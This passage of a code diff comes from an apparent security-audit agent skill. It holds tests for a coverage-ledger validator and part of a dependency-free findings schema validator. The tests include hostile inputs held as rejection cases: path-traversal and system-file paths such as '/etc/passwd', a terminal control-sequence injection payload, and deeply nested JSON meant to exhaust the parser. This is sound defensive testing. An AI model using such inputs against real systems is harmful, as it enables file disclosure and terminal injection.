+ const tooManyUnits = `[${"null,".repeat(LIMITS.units)}null]`; + assert.throws(() => preflightJsonText(tooManyUnits), /exceeds 10000 top-level unit limit/); + + const tooManyItems = `[[${"null,".repeat(LIMITS.collectionItems)}null]]`; + assert.throws(() => preflightJsonText(tooManyItems), /exceeds 1000 item array limit/); + + const objectFields = Array.from( + { length: LIMITS.objectFields + 1 }, + (_, index) => `"field${index}":null`, + ).join(","); + assert.throws(() => preflightJsonText(`[{${objectFields}}]`), /exceeds 1000 field object limit/); + + const fullArray = `[${"null,".repeat(LIMITS.collectionItems - 1)}null]`; + const arraysNeeded = Math.floor(LIMITS.preflightValues / (LIMITS.collectionItems + 1)) + 1; + const tooManyValues = `[${Array.from({ length: arraysNeeded }, () => fullArray).join(",")}]`; + assert.throws(() => preflightJsonText(tooManyValues), /exceeds 500000 total value limit/); +}); + +test("text preflight rejects malformed structural truncation cleanly", () => { + assert.throws(() => preflightJsonText("["), /truncated JSON structure/); + assert.throws(() => preflightJsonText("[\"unterminated"), /unterminated JSON string/); + assert.throws(() => preflightJsonText("[{\"field\":1]"), /mismatched JSON containers/); +}); + +test("derives collision-free canonical IDs from exact UTF-8 references", () => { + assert.equal(encodeCanonicalRef("route:POST /users"), "route%3APOST%20%2Fusers"); + assert.notEqual(encodeCanonicalRef("route name"), encodeCanonicalRef("route-name")); + assert.equal( + canonicalCoverageId({ surface: "a", boundary: "b", subsystem: "c", attack_class: "d", lifecycle: "retry" }), + "a::b::c::d::retry", + ); + assert.throws(() => encodeCanonicalRef("e\u0301"), /invalid canonical reference/); + assert.throws(() => encodeCanonicalRef("bad\u0000ref"), /invalid canonical reference/); + assert.throws(() => encodeCanonicalRef("hidden\u200bref"), /invalid canonical reference/); +}); + +test("rejects noncanonical, duplicate, and colliding IDs", () => { + const wrong = unit({ coverage_id: "display-label-slug" }); + assert(errorsFor([wrong]).some((error) => error.includes("expected canonical ID"))); + + const duplicate = unit(); + assert(errorsFor([duplicate, unit()]).some((error) => error.includes("duplicate coverage ID"))); + + const collision = unit(); + const differentMeaning = unit({ surface: "Delete-user route" }); + assert(errorsFor([collision, differentMeaning]).some((error) => error.includes("canonical identity collision"))); +}); + +test("requires canonical references to be own properties", () => { + const inherited = Object.create(unit().canonical_refs); + const value = unit(); + value.canonical_refs = inherited; + assert(errorsFor([value]).some((error) => error.includes("missing required field"))); +}); + +test("rejects aliases for one semantic tuple", () => { + const first = unit(); + const refs = { ...first.canonical_refs, surface: "src/alias.ts#updateUser" }; + const alias = unit({ canonical_refs: refs }); + const ledger = [first, alias].sort((left, right) => left.coverage_id.localeCompare(right.coverage_id)); + assert(errorsFor(ledger).some((error) => error.includes("semantic tuple already uses coverage ID"))); +}); + +test("requires lexicographic order", () => { + const secondRefs = { + surface: "zzz", + boundary: "src/authz.ts#requireOwner", + subsystem: "packages/api", + attack_class: "ATTACK-CLASSES.md#Access control", + }; + assert(errorsFor([unit({ canonical_refs: secondRefs }), unit()]) + .some((error) => error.includes("sorted lexicographically"))); +}); + +test("validates assignment block maps", () => { + const overlap = unit({ + selected_companion_blocks: ["AI-AND-LLM.md#Tool calls"], + excluded_blocks: [{ block: "AI-AND-LLM.md#Tool calls", reason: "Claimed irrelevant." }], + }); + assert(errorsFor([overlap]).some((error) => error.includes("also selected"))); + + const noReason = unit({ excluded_blocks: [{ block: "AI-AND-LLM.md#Tool calls", reason: "" }] }); + assert(errorsFor([noReason]).some((error) => error.includes("reason"))); +}); + +test("requires owned artifacts for local checks and null artifacts for source checks", () => { + const local = unit({ + status: "covered", + agent_id: "hunter-1", + reviewed_paths: ["src/router.ts"], + local_checks: [localCheck()], + }); + assert.deepEqual(errorsFor([local]), []); + + const independentlyVerified = unit({ + status: "covered", + agent_id: "hunter-1", + reviewed_paths: ["src/router.ts", "src/authz.ts"], + local_checks: [sourceCheck(), localCheck("verifier-1", { reviewed_paths: ["src/authz.ts"] })], + }); + assert.deepEqual(errorsFor([independentlyVerified]), []); + + const unownedPath = unit({ + status: "covered", + agent_id: "hunter-1", + reviewed_paths: ["src/router.ts", "src/authz.ts"], + local_checks: [sourceCheck()], + }); + assert(errorsFor([unownedPath]).some((error) => error.includes("has no check owner"))); + + for (const [checkAgentId, artifact] of [ + [null, "agents/hunter-1/artifacts/result.txt"], + ["hunter-1", null], + ["hunter-1", "result.txt"], + ["hunter-1", "agents/hunter-2/artifacts/result.txt"], + ["../hunter", "agents/../hunter/artifacts/result.txt"], + ]) { + const value = unit({ + status: "covered", + agent_id: "hunter-1", + reviewed_paths: ["src/router.ts"], + local_checks: [localCheck(checkAgentId, { artifact })], + }); + assert.notEqual(errorsFor([value]).length, 0, `${checkAgentId}: ${artifact}`); + } + + const unownedSource = unit({ + status: "blocked", + reviewed_paths: ["src/router.ts"], + local_checks: [sourceCheck()], + unresolved: ["The boundary behavior is not source-visible."], + }); + assert(errorsFor([unownedSource]).some((error) => error.includes("unit with status \"blocked\" requires a canonical lowercase agent ID"))); + + const sourceWithArtifact = unit({ + status: "covered", + agent_id: "hunter-1", + reviewed_paths: ["src/router.ts"], + local_checks: [sourceCheck("hunter-1", { artifact: "agents/hunter-1/artifacts/source.txt" })], + }); + assert(errorsFor([sourceWithArtifact]).some((error) => error.includes("source-only check must use null"))); +}); + +test("requires canonical lowercase filesystem-safe agent IDs", () => { + for (const value of ["hunter-1", "verifier_2", "a0"]) assert.equal(isSafeAgentId(value), true, value); + for (const value of ["Hunter-1", "hunter.1", "hunter-1.", "hunter ", "con", "prn", "aux", "nul", "com1", "lpt9", "../hunter"]) { + assert.equal(isSafeAgentId(value), false, value); + } + + const caseAlias = unit({ status: "in_progress", agent_id: "Hunter-1" }); + assert(errorsFor([caseAlias]).some((error) => error.includes("canonical lowercase agent ID"))); +}); + +test("enforces state evidence", () => { + assert(errorsFor([unit({ status: "in_progress" })]).some((error) => error.includes("unit with status \"in_progress\" requires"))); + assert(errorsFor([unit({ status: "blocked" })]).some((error) => error.includes("unresolved"))); + assert(errorsFor([unit({ status: "candidate" })]).some((error) => error.includes("reviewed_paths"))); + + assert.deepEqual(errorsFor([unit({ status: "in_progress", agent_id: "hunter-1" })]), []); + const inProgressEvidence = unit({ + status: "in_progress", + agent_id: "hunter-1", + reviewed_paths: ["src/router.ts"], + local_checks: [sourceCheck()], + }); + assert(errorsFor([inProgressEvidence]).some((error) => error.includes("must keep this array empty"))); + + const assignedPlanned = unit({ + agent_id: "hunter-1", + reviewed_paths: ["src/router.ts"], + local_checks: [sourceCheck()], + }); + assert(errorsFor([assignedPlanned]).some((error) => error.includes("planned unit must be unassigned"))); + + const candidate = unit({ + status: "candidate", + agent_id: "hunter-1", + reviewed_paths: ["src/router.ts"], + local_checks: [sourceCheck("hunter-1", { invariant: "Ownership is required.", result: "No check exists." })], + result_fingerprints: ["src-router-missing-owner-check"], + unresolved: ["validation_budget_exhausted"], + }); + assert.deepEqual(errorsFor([candidate]), []); + + const blocked = unit({ + status: "blocked", + agent_id: "hunter-1", + reviewed_paths: ["src/router.ts"], + local_checks: [sourceCheck()], + unresolved: ["The deployed policy is unavailable."], + }); + assert.deepEqual(errorsFor([blocked]), []); + const blockedFingerprint = { ...blocked, result_fingerprints: ["forbidden-fingerprint"] }; + assert(errorsFor([blockedFingerprint]).some((error) => error.includes("result_fingerprints"))); + + for (const status of ["not_applicable", "out_of_scope", "deferred"]) { + assert.deepEqual(errorsFor([unit({ status, unresolved: ["Reason recorded."] })]), []); + const invalid = unit({ + status, + agent_id: "hunter-1", + reviewed_paths: ["src/router.ts"], + local_checks: [sourceCheck()], + result_fingerprints: ["forbidden-fingerprint"], + unresolved: ["Reason recorded."], + }); + const errors = errorsFor([invalid]); + assert(errors.some((error) => error.includes("must be unassigned")), status); + assert(errors.some((error) => error.includes("reviewed_paths")), status); + assert(errors.some((error) => error.includes("result_fingerprints")), status); + } + + const coveredFingerprint = unit({ + status: "covered", + agent_id: "hunter-1", + reviewed_paths: ["src/router.ts"], + local_checks: [sourceCheck()], + result_fingerprints: ["forbidden-fingerprint"], + }); + assert(errorsFor([coveredFingerprint]).some((error) => error.includes("result_fingerprints"))); + + const coveredUnresolved = unit({ + status: "covered", + agent_id: "hunter-1", + reviewed_paths: ["src/router.ts"], + local_checks: [sourceCheck()], + unresolved: ["Unexpected unresolved claim."], + }); + assert(errorsFor([coveredUnresolved]).some((error) => error.includes("unresolved"))); +}); + +test("archives prior evidence when a critic assigns a fresh owner", () => { + const reassigned = unit({ + attempts: [archivedAttempt()], + wave: 2, + status: "in_progress", + agent_id: "hunter-2", + }); + assert.deepEqual(errorsFor([reassigned]), []); + + const finalClosure = unit({ + attempts: [archivedAttempt()], + wave: 2, + status: "covered", + agent_id: "hunter-2", + reviewed_paths: ["src/authz.ts"], + local_checks: [sourceCheck("hunter-2", { reviewed_paths: ["src/authz.ts"] })], + }); + assert.deepEqual(errorsFor([finalClosure]), []); +}); + +test("preserves candidate provenance when reassignment must be deferred", () => { + const candidateAttempt = archivedAttempt({ + status: "candidate", + result_fingerprints: ["src-router-missing-owner-check"], + unresolved: ["validation_budget_exhausted"], + }); + const deferred = unit({ + attempts: [candidateAttempt], + wave: 2, + status: "deferred", + unresolved: ["quick_profile_final_critic"], + }); + assert.deepEqual(errorsFor([deferred]), []); +}); + +test("rejects reassignment owner reuse and evidence mixing", () => { + const reusedOwner = unit({ + attempts: [archivedAttempt()], + wave: 2, + status: "in_progress", + agent_id: "hunter-1", + }); + assert(errorsFor([reusedOwner]).some((error) => error.includes("current assignment owner must be fresh"))); + + const mixedEvidence = unit({ + attempts: [archivedAttempt({ local_checks: [localCheck()] })], + wave: 2, + status: "covered", + agent_id: "hunter-2", + reviewed_paths: ["src/router.ts"], + local_checks: [localCheck()], + }); + const errors = errorsFor([mixedEvidence]); + assert(errors.some((error) => error.includes("prior assignment owner evidence must remain"))); + assert(errors.some((error) => error.includes("artifact from an archived attempt cannot be reused"))); + + const mixedHistory = unit({ + attempts: [ + archivedAttempt({ local_checks: [localCheck()] }), + archivedAttempt({ + wave: 2, + agent_id: "hunter-2", + local_checks: [localCheck()], + }), + ], + wave: 3, + status: "in_progress", + agent_id: "hunter-3", + }); + const historyErrors = errorsFor([mixedHistory]); + assert(historyErrors.some((error) => error.includes("prior assignment owner evidence must remain in its earlier attempt"))); + assert(historyErrors.some((error) => error.includes("artifact from an earlier attempt cannot be reused"))); + + const unordered = unit({ + attempts: [archivedAttempt(), archivedAttempt({ + wave: 1, + agent_id: "hunter-2", + local_checks: [sourceCheck("hunter-2")], + })], + wave: 3, + status: "in_progress", + agent_id: "hunter-3", + }); + assert(errorsFor([unordered]).some((error) => error.includes("strictly increasing"))); +}); + +test("rejects unsafe paths and malformed fingerprints", () => { + for (const value of [ + "/etc/passwd", + "../src/file.js", + "src/../file.js", + "src/con.txt", + "src/PRN", + "src/AUX.c", + "src/NUL", + "src/CLOCK$.txt", + "src/conin$.txt", + "src/conout$", + "src/COM1.log", + "src/lpt9", + "src/COM\u00b9.log", + "src/COM\u00b2.log", + "src/COM\u00b3.log", + "src/lpt\u00b9", + "src/lpt\u00b2", + "src/lpt\u00b3", + "src/file.js.", + "C:/src/file.js", + "src/file\n.js", + "src/file\u0085.js", + "src/file\u2028.js", + "src/file\u200b.js", + "src/file\u034f.js", + "src/file\ufe0f.js", + ]) { + assert.equal(isSafeRelativePath(value), false, value); + } + assert.equal(isSafeRelativePath("src/handler.js"), true); + assert.equal(isSafeRelativePath("src/caf\u00e9/handler.js"), true); + assert(errorsFor([unit({ starting_paths: ["../src/router.ts"] })]).some((error) => error.includes("repository-relative path"))); + assert(errorsFor([unit({ + status: "candidate", + agent_id: "hunter-1", + reviewed_paths: ["src/router.ts"], + local_checks: [sourceCheck("hunter-1", { invariant: "Ownership is required.", result: "No check exists." })], + result_fingerprints: ["not stable"], + })]).some((error) => error.includes("invalid fingerprint"))); +}); + +test("rejects format, default-ignorable, and invalid-scalar prose", () => { + for (const invisible of ["\u200b", "\u034f", "\ufe0f", "\ud800"]) { + assert(errorsFor([unit({ surface: invisible })]).some((error) => error.includes("surface")), JSON.stringify(invisible)); + assert(errorsFor([unit({ + excluded_blocks: [{ block: "ATTACK-CLASSES.md#Access control", reason: invisible }], + })]).some((error) => error.includes("reason")), JSON.stringify(invisible)); + } +}); + +test("quotes input-derived controls in direct validation errors", () => { + const invalidStatus = `invalid-${TERMINAL_CONTROL_PAYLOAD}`; + const invalidPath = `src/${TERMINAL_CONTROL_PAYLOAD}.js`; + const value = unit({ + status: invalidStatus, + agent_id: "hunter-1", + reviewed_paths: [invalidPath], + local_checks: [sourceCheck()], + result_fingerprints: ["force-state-error"], + }); + const output = errorsFor([value]).join("\n"); + + assert.match(output, /\$\[0\]\.status/); + assert.match(output, /\$\[0\]\.reviewed_paths/); + assert.match(output, /\\u001b/); + assert.match(output, /\\u0007/); + assert.match(output, /\\u0085/); + assert.match(output, /\\u202e/); + assertNoInjectedControlBytes(output); +}); + +test("quotes input-derived controls in CLI validation errors", { skip: !HAS_SAFE_INPUT_OPEN }, () => { + const value = unit({ + status: `invalid-${TERMINAL_CONTROL_PAYLOAD}`, + result_fingerprints: ["force-state-error"], + }); + const result = runCli(JSON.stringify([value])); + + assert.equal(result.status, 1, cliOutput(result)); + assert.match(result.stderr, /\$\[0\]\.status/); + assert.match(result.stderr, /\\u001b/); + assertNoInjectedControlBytes(result.stderr); +}); + +test("returns a generic syntax error without parser-supplied controls", { skip: !HAS_SAFE_INPUT_OPEN }, () => { + const malformed = Buffer.concat([ + Buffer.from("["), + Buffer.from(TERMINAL_CONTROL_PAYLOAD), + Buffer.from("]"), + ]); + const result = runCli(malformed); + + assert.equal(result.status, 1, cliOutput(result)); + assert.equal(result.stderr, "Failed to parse coverage ledger: invalid JSON syntax\n"); + assertNoInjectedControlBytes(result.stderr); +}); + +test("does not reflect controls from a failed CLI input path", () => { + const directory = fs.mkdtempSync(path.join(os.tmpdir(), "validate-coverage-ledger-path-")); + const missingPath = path.join(directory, `missing-${TERMINAL_CONTROL_PAYLOAD}.json`); + try { + const result = spawnSync(process.execPath, [validatorPath, missingPath], { + encoding: "utf8", + timeout: CLI_TIMEOUT_MS, + }); + assert.equal(result.status, 1, cliOutput(result)); + assert.match(result.stderr, /Failed to read coverage ledger:/); + assertNoInjectedControlBytes(result.stderr); + } finally { + fs.rmSync(directory, { recursive: true, force: true }); + } +}); + +test("rejects invalid UTF-8 through the CLI", { skip: !HAS_SAFE_INPUT_OPEN }, () => { + const encoded = Buffer.from(JSON.stringify([unit()])); + const marker = Buffer.from("Update-user route"); + const markerOffset = encoded.indexOf(marker); + assert.notEqual(markerOffset, -1); + const malformed = Buffer.concat([ + encoded.subarray(0, markerOffset), + Buffer.from([0x80]), + encoded.subarray(markerOffset + marker.length), + ]); + + const result = runCli(malformed); + const output = cliOutput(result); + assert.equal(result.status, 1, output); + assert.match(output, /input is not valid UTF-8/); + assert.doesNotMatch(output, /TypeError|stack|at validate-coverage-ledger/i); +}); + +test("rejects a FIFO through the CLI without blocking", { skip: process.platform === "win32" || !HAS_SAFE_INPUT_OPEN }, () => { + const directory = fs.mkdtempSync(path.join(os.tmpdir(), "validate-coverage-ledger-fifo-")); + const fifoPath = path.join(directory, "coverage-ledger.json"); + try { + const created = spawnSync("mkfifo", [fifoPath], { encoding: "utf8", timeout: CLI_TIMEOUT_MS }); + assert.equal(created.status, 0, cliOutput(created)); + + const result = spawnSync(process.execPath, [validatorPath, fifoPath], { + encoding: "utf8", + timeout: CLI_TIMEOUT_MS, + }); + const output = cliOutput(result); + assert.notEqual(result.error && result.error.code, "ETIMEDOUT", output); + assert.equal(result.status, 1, output); + assert.match(output, /input must be a regular file/); + assert.doesNotMatch(output, /stack|at validate-coverage-ledger/i); + } finally { + fs.rmSync(directory, { recursive: true, force: true }); + } +}); + +test("rejects a symlink through the CLI", { skip: process.platform === "win32" || !HAS_SAFE_INPUT_OPEN }, () => { + const directory = fs.mkdtempSync(path.join(os.tmpdir(), "validate-coverage-ledger-symlink-")); + const targetPath = path.join(directory, "target.json"); + const symlinkPath = path.join(directory, "coverage-ledger.json"); + try { + fs.writeFileSync(targetPath, JSON.stringify([unit()])); + fs.symlinkSync(targetPath, symlinkPath); + const result = spawnSync(process.execPath, [validatorPath, symlinkPath], { + encoding: "utf8", + timeout: CLI_TIMEOUT_MS, + }); + const output = cliOutput(result); + assert.notEqual(result.error && result.error.code, "ETIMEDOUT", output); + assert.equal(result.status, 1, output); + assert.match(output, /input must not be a symlink/); + assert.doesNotMatch(output, /stack|at validate-coverage-ledger/i); + } finally { + fs.rmSync(directory, { recursive: true, force: true }); + } +}); + +test("rejects deeply nested input without recursion failure", () => { + let nested = 0; + for (let depth = 0; depth < 20000; depth++) nested = [nested]; + assert(errorsFor(nested).some((error) => error.includes("exceeds nesting depth limit 64"))); + if (!HAS_SAFE_INPUT_OPEN) return; + + const result = runCli(`${"[".repeat(20000)}0${"]".repeat(20000)}`); + const output = cliOutput(result); + assert.notEqual(result.error && result.error.code, "ETIMEDOUT", output); + assert.equal(result.status, 1, output); + assert.match(output, /exceeds nesting depth limit 64/); + assert.doesNotMatch(output, /RangeError|Maximum call stack|stack|at validate-coverage-ledger/i); +}); + +test("rejects multi-megabyte nesting under a constrained Node heap", { skip: !HAS_SAFE_INPUT_OPEN }, () => { + const openContainers = "[".repeat(2000000); + const cases = [ + openContainers, + `${openContainers}0${"]".repeat(2000000)}`, + ]; + for (const contents of cases) { + const result = runCli(contents, { + nodeArgs: ["--max-old-space-size=64"], + timeout: HOSTILE_CLI_TIMEOUT_MS, + }); + const output = cliOutput(result); + assert.notEqual(result.error && result.error.code, "ETIMEDOUT", output); + assert.equal(result.status, 1, output); + assert.match(output, /exceeds nesting depth limit 64/); + assert.doesNotMatch(output, /heap out of memory|allocation failed|RangeError|Maximum call stack|stack|at validate-coverage-ledger/i); + } +}); + +test("caps malformed 10000-unit validation output", () => { + assert.equal(errorsFor(Array.from({ length: LIMITS.units }, () => null)).length, LIMITS.validationErrors); + if (!HAS_SAFE_INPUT_OPEN) return; + + const result = runCli(JSON.stringify(Array.from({ length: LIMITS.units }, () => null))); + const output = cliOutput(result); + assert.notEqual(result.error && result.error.code, "ETIMEDOUT", output); + assert.equal(result.status, 1, output); + assert.match(output, /output capped at 100/); + assert(output.length < 20000, `unexpected output length ${output.length}`); + assert.doesNotMatch(output, /RangeError|Maximum call stack|stack|at validate-coverage-ledger/i); +}); + +test("rejects malformed top-level data and excessive unit counts", () => { + assert.deepEqual(errorsFor({ units: [] }), ["$: expected a top-level array"]); + const tooMany = Array.from({ length: 10001 }, () => null); + const errors = errorsFor(tooMany); + assert.deepEqual(errors, ["$: exceeds 10000 coverage units"]); + + const oversizedCollection = unit({ extra: Array.from({ length: LIMITS.collectionItems + 1 }, () => null) }); + assert(errorsFor([oversizedCollection]).some((error) => error.includes("exceeds 1000 entries"))); +}); + +test("accepts a canonical ID derived from near-maximum multibyte references", () => { + const canonicalRefs = { + surface: "\u6f22".repeat(1024), + boundary: "\u00e9".repeat(1024), + subsystem: "packages/api", + attack_class: "\u6f22".repeat(1023) + "\u00e9", + }; + const value = unit({ canonical_refs: canonicalRefs }); + assert(value.coverage_id.length > 16384, `coverage_id length ${value.coverage_id.length}`); + assert(value.coverage_id.length <= 65536, `coverage_id length ${value.coverage_id.length}`); + assert.deepEqual(errorsFor([value]), []); + + if (HAS_SAFE_INPUT_OPEN) { + const result = runCli(JSON.stringify([value])); + assert.equal(result.status, 0, cliOutput(result)); + } +}); diff --git a/.agents/skills/security-audit/validate-findings.cjs b/.agents/skills/security-audit/validate-findings.cjs index 9e9e38a..2843fec 100644 --- a/.agents/skills/security-audit/validate-findings.cjs +++ b/.agents/skills/security-audit/validate-findings.cjs @@ -4,198 +4,770 @@ * Validates findings.json against report-schema.json. * Usage: node validate-findings.cjs * - * The validation rules live in report-schema.json — the single source of truth. - * This script reads that schema at runtime and interprets the subset of JSON - * Schema it uses: type (object|array|string|integer), properties, required, - * additionalProperties:false, enum, const, items, minItems, and oneOf. - * - * Some constraints can't be expressed in that subset (a confirmed trace must - * start at an "entrypoint", end at a "sink", and only use "propagation" for - * intermediate steps). They're applied as an explicit, clearly-labelled - * semantic layer after schema validation. - * - * Zero dependencies. Exits 0 on success, 1 on validation failure. + * This is a dependency-free interpreter for the JSON Schema keywords used by + * report-schema.json, plus finding-specific checks that are clearer in code. */ const fs = require("fs"); const path = require("path"); +const { TextDecoder } = require("util"); + +const hasOwn = (value, key) => Object.prototype.hasOwnProperty.call(value, key); +const SUPPORTED_TYPES = new Set(["object", "array", "string", "integer", "number", "boolean", "null"]); +const SUPPORTED_KEYWORDS = new Set([ + "$comment", + "additionalProperties", + "const", + "description", + "enum", + "items", + "minimum", + "minItems", + "minLength", + "oneOf", + "pattern", + "properties", + "required", + "type", + "uniqueItems", + "visibleContent", +]); +const SEVERITY_RANK = new Map([ + ["informational", 0], + ["low", 1], + ["medium", 2], + ["high", 3], + ["critical", 4], +]); +const LIMITS = Object.freeze({ + inputBytes: 5 * 1024 * 1024, + nestingDepth: 64, + arrayItems: 1000, + canonicalKeyBytes: 1024 * 1024, + uniqueSetBytes: 5 * 1024 * 1024, + validationErrors: 100, +}); +const VISIBLE_CONTENT = /[^\p{White_Space}\p{Cc}\p{Cf}\p{Default_Ignorable_Code_Point}]/u; +const PATH_FORBIDDEN_CHARACTER = /[\p{Cc}\p{Cf}\p{Zl}\p{Zp}\p{Default_Ignorable_Code_Point}]/u; +const WINDOWS_RESERVED_COMPONENT = /^(?:con|prn|aux|nul|clock\$|conin\$|conout\$|com[1-9\u00b9\u00b2\u00b3]|lpt[1-9\u00b9\u00b2\u00b3])(?:\.|$)/iu; +const UTF8_DECODER = new TextDecoder("utf-8", { fatal: true, ignoreBOM: true }); +const UNSAFE_DIAGNOSTIC_CHARACTER = /[\p{Cc}\p{Cf}\p{Cs}\p{Zl}\p{Zp}\p{Default_Ignorable_Code_Point}]/gu; +const MAX_DIAGNOSTIC_STRING_LENGTH = 256; + +class JsonStructureError extends Error {} +class SafeInputError extends Error {} + +function escapeUnsafeDiagnosticCharacters(value) { + return String(value).replace(UNSAFE_DIAGNOSTIC_CHARACTER, (character) => { + const codePoint = character.codePointAt(0); + return codePoint <= 0xffff + ? `\\u${codePoint.toString(16).padStart(4, "0")}` + : `\\u{${codePoint.toString(16)}}`; + }); +} + +function safeQuote(value) { + let serialized; + if (typeof value === "string") { + const clipped = value.length > MAX_DIAGNOSTIC_STRING_LENGTH + ? `${value.slice(0, MAX_DIAGNOSTIC_STRING_LENGTH)}...` + : value; + serialized = JSON.stringify(clipped); + } else if (value === null || typeof value === "boolean") { + serialized = String(value); + } else if (typeof value === "number" && Number.isFinite(value)) { + serialized = String(value); + } else { + serialized = `"<${Array.isArray(value) ? "array" : typeof value}>"`; + } + return escapeUnsafeDiagnosticCharacters(serialized); +} + +function propertyPath(base, key) { + return /^[A-Za-z_][A-Za-z0-9_]*$/.test(key) + ? `${base}.${key}` + : `${base}[${safeQuote(key)}]`; +} + +function createErrorList() { + const errors = []; + Object.defineProperty(errors, "push", { + value(...messages) { + const remaining = LIMITS.validationErrors - this.length; + if (remaining > 0) { + Array.prototype.push.apply(this, messages.slice(0, remaining).map(escapeUnsafeDiagnosticCharacters)); + } + return this.length; + }, + }); + return errors; +} + +function typeOf(value) { + if (Array.isArray(value)) return "array"; + if (value === null) return "null"; + return typeof value; +} + +function deepEqual(left, right) { + if (left === right) return true; + if (typeOf(left) !== typeOf(right)) return false; + if (Array.isArray(left)) { + return left.length === right.length && left.every((value, index) => deepEqual(value, right[index])); + } + if (left !== null && typeof left === "object") { + const leftKeys = Object.keys(left); + const rightKeys = Object.keys(right); + return leftKeys.length === rightKeys.length && + leftKeys.every((key) => hasOwn(right, key) && deepEqual(left[key], right[key])); + } + return false; +} + +function codePointLength(value) { + let length = 0; + let index = 0; + while (index < value.length) { + const first = value.charCodeAt(index++); + if (first >= 0xd800 && first <= 0xdbff && index < value.length) { + const second = value.charCodeAt(index); + if (second >= 0xdc00 && second <= 0xdfff) index++; + } + length++; + } + return length; +} -const file = process.argv[2]; -if (!file) { - console.error("Usage: node validate-findings.cjs "); - process.exit(1); +function hasValidUnicodeScalarValues(value) { + let index = 0; + while (index < value.length) { + const first = value.charCodeAt(index++); + if (first >= 0xd800 && first <= 0xdbff) { + if (index >= value.length) return false; + const second = value.charCodeAt(index++); + if (second < 0xdc00 || second > 0xdfff) return false; + } else if (first >= 0xdc00 && first <= 0xdfff) { + return false; + } + } + return true; } -const schemaPath = path.join(__dirname, "report-schema.json"); -let itemSchema; -try { - const doc = JSON.parse(fs.readFileSync(schemaPath, "utf8")); - itemSchema = doc.output_schema; - if (!itemSchema) throw new Error('report-schema.json is missing top-level "output_schema"'); -} catch (e) { - console.error(`Failed to load schema from ${schemaPath}:`, e.message); - process.exit(1); +function hasVisibleProse(value) { + return hasValidUnicodeScalarValues(value) && VISIBLE_CONTENT.test(value); } -let findings; -try { - findings = JSON.parse(fs.readFileSync(file, "utf8")); -} catch (e) { - console.error("Failed to parse JSON:", e.message); - process.exit(1); +function canonicalKey(value) { + const chunks = []; + let bytes = 0; + + function append(chunk) { + bytes += Buffer.byteLength(chunk); + if (bytes > LIMITS.canonicalKeyBytes) { + throw new Error(`canonical key exceeds ${LIMITS.canonicalKeyBytes} byte limit`); + } + chunks.push(chunk); + } + + function encode(item) { + const type = typeOf(item); + if (type === "null") { + append("null"); + } else if (type === "string") { + append(`string:${JSON.stringify(item)}`); + } else if (type === "number") { + append(`number:${Object.is(item, -0) ? "0" : String(item)}`); + } else if (type === "boolean") { + append(`boolean:${item ? "true" : "false"}`); + } else if (type === "array") { + append("array:["); + item.forEach((entry, index) => { + if (index > 0) append(","); + encode(entry); + }); + append("]"); + } else if (type === "object") { + append("object:{"); + Object.keys(item).sort().forEach((key, index) => { + if (index > 0) append(","); + append(JSON.stringify(key)); + append(":"); + encode(item[key]); + }); + append("}"); + } else { + append(`${type}:${String(item)}`); + } + } + + encode(value); + return { key: chunks.join(""), bytes }; } -if (!Array.isArray(findings)) { - console.error("findings.json must be an array"); - process.exit(1); +function collectDataLimitErrors(value, location = "$data") { + const stack = [{ value, location, depth: value !== null && typeof value === "object" ? 1 : 0 }]; + const seen = new WeakSet(); + + while (stack.length > 0) { + const current = stack.pop(); + if (current.value === null || typeof current.value !== "object") continue; + if (current.depth > LIMITS.nestingDepth) { + return [escapeUnsafeDiagnosticCharacters(`${current.location}: exceeds ${LIMITS.nestingDepth} level nesting depth limit`)]; + } + if (seen.has(current.value)) { + return [escapeUnsafeDiagnosticCharacters(`${current.location}: input must not contain repeated or cyclic object references`)]; + } + seen.add(current.value); + + if (Array.isArray(current.value)) { + if (current.value.length > LIMITS.arrayItems) { + return [escapeUnsafeDiagnosticCharacters(`${current.location}: exceeds ${LIMITS.arrayItems} item array limit`)]; + } + for (let index = current.value.length - 1; index >= 0; index--) { + const child = current.value[index]; + if (child !== null && typeof child === "object") { + stack.push({ value: child, location: `${current.location}[${index}]`, depth: current.depth + 1 }); + } + } + } else { + const keys = Object.keys(current.value); + for (let index = keys.length - 1; index >= 0; index--) { + const key = keys[index]; + const child = current.value[key]; + if (child !== null && typeof child === "object") { + stack.push({ value: child, location: propertyPath(current.location, key), depth: current.depth + 1 }); + } + } + } + } + + return []; } -// --- Generic JSON Schema interpreter (the subset used by report-schema.json) --- +function collectSchemaErrors(schema, location = "schema") { + const errors = createErrorList(); + + function check(node, p) { + if (node === null || typeof node !== "object" || Array.isArray(node)) { + errors.push(`${p}: schema must be an object`); + return; + } + + for (const key of Object.keys(node)) { + if (!SUPPORTED_KEYWORDS.has(key)) errors.push(`${p}: unsupported schema keyword ${safeQuote(key)}`); + } -function typeOf(v) { - if (Array.isArray(v)) return "array"; - if (v === null) return "null"; - return typeof v; // "object" | "string" | "number" | "boolean" + if (hasOwn(node, "$comment") && typeof node.$comment !== "string") { + errors.push(`${p}.$comment: expected string`); + } + if (hasOwn(node, "description") && typeof node.description !== "string") { + errors.push(`${p}.description: expected string`); + } + if (hasOwn(node, "type") && (!SUPPORTED_TYPES.has(node.type))) { + errors.push(`${p}.type: unsupported type ${safeQuote(node.type)}`); + } + if (hasOwn(node, "properties")) { + if (node.properties === null || typeof node.properties !== "object" || Array.isArray(node.properties)) { + errors.push(`${p}.properties: expected object`); + } else { + for (const key of Object.keys(node.properties)) check(node.properties[key], propertyPath(`${p}.properties`, key)); + } + } + if (hasOwn(node, "required")) { + if (!Array.isArray(node.required) || node.required.some((key) => typeof key !== "string")) { + errors.push(`${p}.required: expected an array of strings`); + } else if (new Set(node.required).size !== node.required.length) { + errors.push(`${p}.required: entries must be unique`); + } + } + if (hasOwn(node, "additionalProperties") && typeof node.additionalProperties !== "boolean") { + errors.push(`${p}.additionalProperties: only boolean values are supported`); + } + if (hasOwn(node, "enum")) { + if (!Array.isArray(node.enum) || node.enum.length === 0) { + errors.push(`${p}.enum: expected a non-empty array`); + } else { + const seen = new Set(); + for (const value of node.enum) { + let key; + try { + key = canonicalKey(value).key; + } catch (error) { + errors.push(`${p}.enum: ${error.message}`); + break; + } + if (seen.has(key)) { + errors.push(`${p}.enum: entries must be unique`); + break; + } + seen.add(key); + } + } + } + if (hasOwn(node, "items")) check(node.items, `${p}.items`); + for (const keyword of ["minItems", "minLength"]) { + if (hasOwn(node, keyword) && (!Number.isInteger(node[keyword]) || node[keyword] < 0)) { + errors.push(`${p}.${keyword}: expected a non-negative integer`); + } + } + if (hasOwn(node, "minimum") && (typeof node.minimum !== "number" || !Number.isFinite(node.minimum))) { + errors.push(`${p}.minimum: expected a finite number`); + } + if 